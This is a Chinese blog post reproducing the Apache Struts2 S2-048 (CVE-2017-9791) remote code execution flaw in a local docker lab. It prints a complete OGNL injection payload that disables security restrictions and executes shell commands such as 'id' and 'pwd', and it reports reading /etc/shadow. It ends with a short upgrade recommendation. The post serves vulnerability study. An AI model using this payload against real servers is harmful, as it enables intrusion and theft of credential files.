Struts2 S2-048远程代码执行漏洞复现

一、漏洞介绍

0x1 漏洞背景

2017年7月7日,ApacheStruts 发布最新的安全公告,Apache Struts2的strus1插件存在远程代码执行的高危漏洞,漏洞编号为 CVE-2017-9791(S2-048)。攻击者可以构造恶意的字段值通过Struts2的struts2-struts1-plugin插件,远程执行代码。

0x2 漏洞产生条件
Apache Struts2 2.3.x 系列启用了struts2-struts1-plugin 插件并且存在 struts2-showcase 目录,其漏洞成因是当ActionMessage接收客户可控的参数数据时,由于后续数据拼接传递后处理不当导致任意代码执行


0x3 漏洞影响
Apache Struts 2.3.x系列中启用了struts2-struts1-plugin插件的版本。



二、漏洞复现

1.打开ubunut,使用里面的漏洞环境Struts2 S2-048
在这里插入图片描述

2.命令行输入: docker-compose up -d 开启 Struts2 S2-048 漏洞环境,然后查看7001和8080端口是否开启
在这里插入图片描述

3.浏览器打开测试界面

http://192.168.74.138:8080/integration/editGangster.action
需要用8080端口访问
在这里插入图片描述

先输入${1+1}以查看执行结果
可以看到页面回显2,输入1=1的逻辑正确,证明存在远程代码执行的高危漏洞
在这里插入图片描述

4.poc验证

根据官网说明,漏洞产生的原因是将用户可控的值添加到 ActionMessage 并在客户前端展示,导致其进入 getText 函数,最后 message 被当作 ognl 表达式执行

Poc:

%{(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).(#_memberAccess?(#_memberAccess=#dm):
((#container=#context['com.opensymphony.xwork2.ActionContext.container']).
(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).
(#ognlUtil.getExcludedPackageNames().clear()).(#ognlUtil.getExcludedClasses().clear()).
(#context.setMemberAccess(#dm)))).
(#q=@org.apache.commons.io.IOUtils@toString(@java.lang.Runtime@getRuntime().exec('id 语句插入处').getIn
putStream())).(#q)}

id处为插入攻击语句的位置

接着把pwd注入语句中

%{(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).(#_memberAccess?(#_memberAccess=#dm):
((#container=#context['com.opensymphony.xwork2.ActionContext.container']).
(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).
(#ognlUtil.getExcludedPackageNames().clear()).(#ognlUtil.getExcludedClasses().clear()).
(#context.setMemberAccess(#dm)))).
(#q=@org.apache.commons.io.IOUtils@toString(@java.lang.Runtime@getRuntime().exec('pwd').getIn
putStream())).(#q)}

在这里插入图片描述

成功获取到了当前的路径

接着测试是否能够读取系统敏感数据

使用cat /etc/shadow来测试

成功读取
在这里插入图片描述

到此,Struts2 S2-048远程代码执行漏洞复现成功

解决方法

建议Apache Struts2 套件升级到最新版本

  • 0
    点赞
  • 5
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值